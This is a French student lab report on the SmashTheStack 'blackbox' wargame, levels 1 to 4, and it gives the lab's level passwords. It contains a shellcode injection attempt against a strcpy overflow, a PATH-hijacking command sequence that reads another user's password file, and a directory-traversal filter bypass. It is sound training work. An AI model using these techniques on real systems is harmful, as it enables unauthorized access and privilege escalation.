Évaluation des vulnérabilités logiciels
TP7 & 8

Master 2 Cybersécurité

2018 - 2019

Encadré par :
Rémi HUTIN

Réalisé par :
Manon DEROCLES
Alexis LE MASLE

Table des matières

Level 1

Nous nous connectons en ssh.

```
ssh -l level1 blackbox.smashthestack.org -p 2225
```

Mot de passe: level1

Avec la commande *ls*, nous voyons un fichier exécutable nommé login2.
Quand nous essayons d'exécuter le programme, il nous demande un mot de passe que nous ignorons. Avec la commande *strings login2* nous réussissons à lire ce fichier. Nous remarquons un potentiel mot de passe.

```
PassFor2
```

Nous exécutons de nouveaux le programme avec le mot de passe trouvé, cela nous ouvre un nouveau shell.

Challenge réussi.

Level 2

Nous nous connectons en ssh.

```
ssh -l level2 blackbox.smashthestack.org -p 2225
```

Password: PassFor2

Avec la commande **cat getowner.c**, nous affichons le code suivant:

```
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char **argv){
    char *filename;
    char buf[128];

    if((filename = getenv("filename")) == NULL) {
       printf("No filename configured!\n");
       return 1;
    }

    while(*filename == '/')
       filename++;
    strcpy(buf, "/tmp/");
    strcpy(&buf[strlen(buf)], filename);

    struct stat stbuf;
    stat(buf, &stbuf);
    printf("The owner of this file is: %d\n", stbuf.st_uid);

    return 0;
}
```

Lors de l'exécution du programme, nous avons un “no filename configured”.
Nous créons alors une variable d'environnement “filename” avec:

```
export filename=/home/level2/password
```

Le programme nous affiche alors le propriétaire du fichier password.

En lisant le code nous nous apercevons qu’un buffer “*buf*” de taille 128 est déclaré et qu’une fonction *strcpy* et utilisée sans vérification de tailles et utilisant directement une entrée utilisateur. Il existe donc une attaque par buffer overflow.

En faisant des tests “à la main” on trouve que le programme plante lorsqu’on entre 135 caractères. Il s’agit donc de réussir à injecter un shellcode dans cet espace. Voici une tentative infructueuse d’injection d’un shellcode trouvé sur internet:

```
export filename=$(python -c
'print("a"*103+"\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87
\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68")');
./getowner
```

Nous avons pas réussir à réaliser le level2, nous passons au level3.

Level 3

Nous nous connectons en ssh.

```
$ ssh -l level3 blackbox.smashthestack.org -p 2225
```

Password: OverTheFlow

Dans le dossier level 3 se trouve le fichier proclist.
Avec la commande **cat proclist.cc**, nous affichons le code suivant:

```
#include <iostream>
#include <string>
int main(int main, char **argv) {
    std::string command;
    std::string program;
    std::cout << "Enter the name of the program: ";
    std::cin >> program;
    for(unsigned int i = 0; i < program.length(); i++) {
       if(strchr(";^&|><", program[i]) != NULL) {
             std::cout << "Fatal error" << std::endl;
             return 1;
       }
    }
    // Execute the command to list the programs
    command = "/bin/ps |grep ";
    command += program;
    system(command.c_str());
    return 0;
}
```

Le programme fonctionne de la façon suivante:
Ce qui est entré en paramètre se place à la suite de la commande “**/bin/ps | grep**”.
Nous avons une restriction de telle sorte que nous ne pouvons pas mettre en paramètre les caractères suivant: **;**, **^**, **&**, **|**, **>**, ou **<**.
Ce filtre nous empêche de faire une suite de commandes ou un pipe.

Nous devons trouver une autre approche pour obtenir ce que nous voulons.
Dans le programme C++, les stdin arrête la lecture lors de la première rencontre d’un espace. Nous ne pouvons pas, en l’état actuelle des choses, lire un fichier contenant d’autre commande grâce à l’option **-f**.
Le filtrage de caractères n'empêche pas l’insertion des caractères ` et **$**. Ces deux caractères permette d'exécuter une commande.
Malheureusement, nous avons toujours le problème que dès qu’il y a un espace, il ne lis pas la suite.

Nous devons donc trouver une commande sans espaces. Par exemple, on peut exécuter un programme. Nous avons accès à un fichier modifiable et exécutable **/tmp/bash** que l'on peut créer en exécutant le binaire "PID" du dossier courant.

Il existe plusieurs approches pour résoudre ce problème, nous avons choisi d'exploiter la variable d'environnement $PATH.

Voici les commandes que nous avons exécuté:

```
mkdir /tmp/perso
```

Nous créons un dossier personnel dans le tmp.

```
nano /tmp/perso/grep
```

Nous créons un fichier nommé "grep" et nous l' éditons pour intégrer la ligne suivante:

```
cat /home/level4/password
```

Puis nous rendons le fichier exécutable.

```
chmod +x /tmp/perso/grep
```

Enfin, nous ajoutons un nouveau chemin dans PATH.

```
export PATH=/tmp/perso:$PATH
```

Puis nous exécutons le programme **./proclist** : **abc** (peu importe le paramètre d'entrée)
Ce qui nous donne comme résultat

```
BashingSh
```

Voici donc le mot de passe du level4.

Notre méthode fonctionne par le fait que la machine, lors de l'appel du binaire "grep" recherche dans le variable PATH le chemin vers ce binaire. Nous avons pris soin d'ajouter à la variable PATH le chemin vers notre dossier nouvellement créé en premier de la liste.
Le système va alors voir dans le premier chemin de la variable PATH un fichier exécutable nommé "grep" et va donc l'exécuter.

Conclusion: Nous avons fait croire au système que le grep appelé par le programme était le notre.

Mot de passe level4: **BashingSh**

Level 4

Nous nous connectons en ssh.

```
$ ssh -l level4 blackbox.smashthestack.org -p 2225
```

Password: BashingSh

En se connectant nous listons les fichiers du répertoire courant avec ls, nous y trouvons un exécutable ainsi que son code source. Voici le contenu du code source:

```
level4@blackbox:~$ cat shared.cc
#include <iostream>
#include <fstream>
#include <string>
std::string strreplace(const char *msg, const char *replace, const char
*with) {
    std::string ret;
    while(*msg) {
       if(strncmp(msg, replace, strlen(replace)) == 0) {
             ret += with;
             // Skip all in msg until we have another match
             msg++;
             for(unsigned int i = 1; i < strlen(replace) && *msg; i++) {
                   if(strncmp(msg, replace, strlen(replace)) == 0)
                         break;
                   msg++;
             }
             continue;
       } else
             ret += *msg;
       msg++;
    }
    return ret;
}
int main(int argc, char **argv) {
    if(argc < 2) {
       std::cout << "This program allows you to read files from my
shared files. See /usr/share/level5 for my shared files. Simply use the
path relative to my shared files to read a file!" << std::endl;
       std::cout << "Example: " << argv[0] << " lyrics/foreverautumn" <<
std::endl;
       return 1;
    }
```

```
    std::string start_path = "/usr/share/level5/";
    std::string relative_path = "";
    char *ptr;
    ptr = argv[1];
    while(*ptr == '/' || *ptr == '.')
       ptr++;
    relative_path = strreplace(ptr, "/../", "");
    relative_path = strreplace(relative_path.c_str(), "/./", "");
    std::string realpath = start_path + relative_path;
    std::cout << "Contents of " << realpath << ":" << std::endl;
    std::ifstream file(realpath.c_str(), std::ios::in);
    if(!file.is_open()) {
       std::cerr << "Unable to open file" << std::endl;
       return 1;
    }
    std::string cline;
    while(!file.eof()) {
       std::getline(file, cline);
       std::cout << cline << std::endl;
    }
    return 0;
}
```

Ce code permet à un utilisateur d'afficher le contenu des fichiers contenu dans le dossier /usr/share/level5/. Dans ce dossier il existe 5 fichiers nommés "shit1", "shit2, "shit3", "shit4", "shit5" ainsi qu'un autre dossier appelé "lyrics" contenant "foreverautumn".
Le programme va lire le fichier selon le chemin relatif fourni en paramètre et va filtrer les séquences de caractères "/./" et "/../" pour empêcher l'utilisateur de remonter dans les fichiers. C'est ici que se trouve la faille.
En effet le filtrage du chemin est fait en deux temps, d'abord la suppression des "/../" puis celle des "/./". On se rend alors compte que si on entre en paramètre "lyrics/./../././" le programme va aller voir à l'adresse "/usr/share/level5/lyrics/../". Nous avons donc réussi à entrer une séquence normalement filtrée. Étant maintenant capable de remonter dans l'arborescence nous allons chercher à remonter jusqu'à la racine puis entrer le chemin du fichier password du level5.

Voici la commande qui nous a permis de passer le level4:

```
level4@blackbox:~$ ./shared
lyrics/./../././../././../././../././../././../././home/level5/password
Contents of
/usr/share/level5/lyrics/../../../../../../home/level5/password:
Traveller
```

Mot de passe level5: **Traveller**